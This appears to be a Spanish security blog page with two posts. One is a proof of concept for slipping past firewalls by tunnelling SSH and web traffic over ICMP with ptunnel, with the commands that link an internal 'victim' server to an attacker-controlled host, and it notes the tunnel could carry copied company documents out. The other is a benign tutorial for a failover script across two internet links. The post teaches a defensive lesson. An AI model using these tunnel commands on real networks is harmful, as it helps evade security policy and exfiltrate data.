pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

martes, 12 de abril de 2011

Saltar filtrado de cortafuegos mediante paquetes ICMP

La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de distinto fabricante en la entrada de la red de servidores internos, y entre ambos el servidor de VPN. Un esquema resumido sería el siguiente:



Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos.

Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.

Como prueba de concepto se va a emplear la herramienta ptunnel. Esta herramienta crea dos túneles o canales; el primero se crea entre el cliente y el proxy ptunnel empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo.

Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?…). El siguiente paso será instalar las libpcap-dev y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:
# tar xvfz PingTunnel-0.70.tar.gz

# cd PingTunnel-0.70/

# apt-get install libpcap-dev# make

Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas.

En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer.

El servidor interno será la IP 192.168.2.104 y el equipo que controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel.



Las órdenes necesarias son:
Servidor del atacante: 
# ./ptunnel -x patata 
Servidor víctima red interna: 
# ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata

# ssh localhost -p 80
Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:



Y éste es el registro que nos muestra el proxy ptunnel del servidor del atacante:


Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor 192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:
# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata

Como vemos entre el servidor interno y el proxy ptunnel solo hay paquetes ICMP de tipo request y reply, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP.

PD: esta entrada también la podéis encontrar en SecurityArtWork.

Continuar...

lunes, 4 de abril de 2011

Conexión de Back Up (FailOver)

Cada vez es más común que en las empresas pequeñas y medianas se disponga de dos conexiones a Internet: la primaria y la de repuesto o back up. La primaria corresponde a una línea con un gran ancho de banda mientras que la secundaria, de un ISP distinto a la primaria, es una línea de repuesto con un ancho de banda inferior, cuya única finalidad es la de ofrecer una conexión a Internet en caso de que la primaria falle.

Para optar a un entorno de este tipo es necesario disponer de un dispositivo que permita transmitir el tráfico por la primaria, y que en caso de fallo, redireccione el tráfico por la secundaria. Ese dispositivo puede tratarse de un simple host Linux con el flag "Forwarding" activado y con el enmascaramiento (Masquerading) habilitado al tráfico saliente de las dos interfaces conectadas a las ISPs. Para esta entrada eth0 será la primaria y eth1 la secundaria.

Junto con la configuración descrita con anterioridad, será necesario ejecutar tres ordenes para que el núcleo gestione la ruta por la cual se retransmitirán los datos. Dichas ordenes son las siguientes:
# route add default gw GW_1 dev eth0
# route add default gw GW_2 dev eth1
# echo "30" > /proc/sys/net/ipv4/route/gc_timeout

Por desgracia, esta configuración no funciona del todo bien, ya que existen dos condiciones en las que he detectado que su funcionamiento no es el esperado:
  1. Cuando el problema es de un router del ISP intermedio, es decir, no es directamente el router que tenemos conectado a la interfaz del servidor Linux 
  2. Cuando se intenta restablecer la ruta principal, la cual había sido descartada por el router. 
Por ello me creé un script, de nombre failover.sh, que permite gestionar las rutas. No es una solución bonita, optima, pero si viable para cuando la opción descrita con anterioridad no os funcione. El script se debe añadir al crontab para que se ejecute cada 5 minutos. Los pasos que realiza son los siguientes:

1º) Identifica y registra la puerta de enlace de ambas interfaces. Elimina la ruta secundaria dejando solo la primaria. Esto lo hace solo una vez. 

2º) Cada vez que se ejecuta comprueba si tiene acceso a Internet mediante un ping a google y en caso de que falle, lo reintenta con la IP 8.8.8.8. Si no llega, lo anota en un fichero. Dicho proceso se repite para cada ejecución tantas veces como se le indique en la variable INTENTOS de script. El objetivo de esto es evitar falsos positivos.  

3º) Si pasado esos INTENTOS sigue sin recibir respuesta, cambia la ruta por la secundaria.

4º) Al pasar a la secundaria, comprobará cada "RESTAURAR" veces si la secundaria funciona. RESTAURAR es una variable cuyo valor en el script es 6. Mientras este activada la interfaz de back up el script se ejecutara marcando las veces que se ha ejecutado en estado de back up, al llegar al número indicado en RESTAURAR comprobara si la ruta primaria a vuelto a funcionar.

5º) Para comprobarlo lo que hace es restaurar la ruta primaria, volverá hacer los pings anteriores, si funciona dejará la ruta principal y eliminará la secundaria volviendo al estado del punto 2. Si al hacer los pings no llega, vuelve a dejar la secundaria como ruta por defecto y se volverá a repetir el proceso descrito en el punto 4. 

Para probarlo he creado una máquina virtual Linux empleando para ello Virtual Box. A la máquina le he asignado dos interfaces, la primera configurada como NAT y la secundaria como adaptador puente. A la primera interfaz (eth0), Virtual Box le conceda una interfaz del rango 10.0.0.0 puesto que "natea", mientras que a la segunda (eth1) es el router Linksys conectado a mi equipo físico con dhcpd quien le concede una IP del rango 192.168.0.0. Veámoslo:
# dhclient eth0
# dhclient eth1
# ifconfig

eth0    Link encap:Ethernet  HWaddr 08:00:27:58:XX:XX
          inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1180 (1.1 KB)  TX bytes:684 (684.0 B)
eth1    Link encap:Ethernet  HWaddr 08:00:27:c0:XX:XX
          inet addr:192.168.2.103  Bcast:192.168.2.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1360 (1.3 KB)  TX bytes:684 (684.0 B)
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.0.2.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
0.0.0.0         192.168.2.1     0.0.0.0         UG    0      0        0 eth1
0.0.0.0         10.0.2.2        0.0.0.0         UG    0      0        0 eth0
Como vemos, la interfaz primaria eth0 tiene como puerta de enlace 10.0.2.2 y la secundaria eth1 192.168.2.1. A continuación veremos el funcionamiento del script "failover.sh. Éste será ejecutado a mano, aunque recordar que lo suyo es que este en el crontab cada 5 minutos ejecutándose (*/5 * * * /usr/local/failover/failover.sh):
# ./failover.sh
[OK] 2011-04-03_21:04 -> www.google.com
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.0.2.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
0.0.0.0         10.0.2.2        0.0.0.0         UG    0      0        0 eth0
# cat config
10.0.2.2
192.168.2.1
Como vemos ha almacenado las puertas de enlace de ambas interfaces, sabe cual es la primaria y secundaria. A su vez a eliminado la ruta secundaria dejando únicamente la ruta de la primaria. Para ver el funcionamiento del script vamos a filtrar todo el tráfico de entrada a la interfaz eth0 simulando una caída de la conexión a Internet:
# /sbin/iptables -A INPUT -i eth0 -j DROP
# ping -c1 google.es
PING google.es (209.85.147.99) 56(84) bytes of data.
--- google.es ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
Ejecutemos el script tantas veces como indicado en su variable INTENTOS, la cual tiene el valor 3, y por tanto, el script deberá ser ejecutado en tres ocasiones para pasar a la línea de Back Up:
# ./failover.sh
# tail -1 failover.log

[ERROR] 2011-04-03_20:35 -> Fallo numero 1
# ./failover.sh
# tail -1 failover.log
[ERROR] 2011-04-03_20:40 -> Fallo numero 2
# ./failover.sh
# tail -2 failover.log

[ERROR] 2011-04-03_20:45 -> BACKUP ACTIVADO
[EVENTO] 2011-04-03_20:45
# cat backup
1
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.0.2.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
0.0.0.0         192.168.2.1     0.0.0.0         UG    0      0        0 eth1
# ping google.es
PING google.es (209.85.147.106) 56(84) bytes of data.
64 bytes from bru01m01-in-f106.1e100.net (209.85.147.106): icmp_seq=1 ttl=53 time=78.8 ms
64 bytes from bru01m01-in-f106.1e100.net (209.85.147.106): icmp_seq=2 ttl=53 time=79.5 ms
...
Como vemos, una vez que el script se ha ejecutado "INTENTOS" veces, elimina la ruta primaria y activar la secundaria. De esta forma ya se tendrá acceso a Internet por la secundaria encontrandose el script en modo backup (valor del fichero backup a 1).

En modo back up el script, cada REINTENTAR veces (variable del script cuyo valor es 6), cambiará la puerta de enlace por la primaria y comprobará si tiene acceso a Internet. Siguiendo el ejemplo anterior donde el tráfico de la interfaz eth0 está bloqueado, al ejecutar 6 veces el script intentará salir por la ruta de eth0, fallará y volverá a usar la ruta de eth1:
# ./failover.sh
# ./failover.sh
# ./failover.sh
# ./failover.sh
# ./failover.sh
# cat restaurar

Esperar
Esperar
Esperar
Esperar
Esperar
Esperar
# ./failover.sh
# route -n

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.0.2.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
0.0.0.0         192.168.2.1     0.0.0.0         UG    0      0        0 eth1
Vamos a repetir el mismo paso que el anterior, pero esta vez eliminaremos la regla de Iptables, permitiendo que la interfaz eth0 vuelva a tener acceso a Internet:
# iptables -F
# ./failover.sh
# ./failover.sh
# ./failover.sh
# ./failover.sh
# ./failover.sh
# cat restaurar

Esperar
Esperar
Esperar
Esperar
Esperar
Esperar
# ./failover.sh
# route -n

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
0.0.0.0 10.0.2.2 0.0.0.0 UG 0 0 0 eth0
# cat backup
0
Como vemos el sistema ha sido capaz de volver a asignar como ruta de salida la de eth0 restaurando el sistema.  Ya para finalizar os dejo el script failover.sh, cualquier comentario o mejora será bienvenida.

Espero que os sea de utilidad. Nos vemos en la próxima entrada, que si no ocurre nada raro será de DNS.

PD: sí, sí ya me estoy pegando con blogger para que se vea todo el código más claro, pero por algún motivo el muy $!@# muestra caracteres al publicar que no se ven en modo visión... 

Continuar...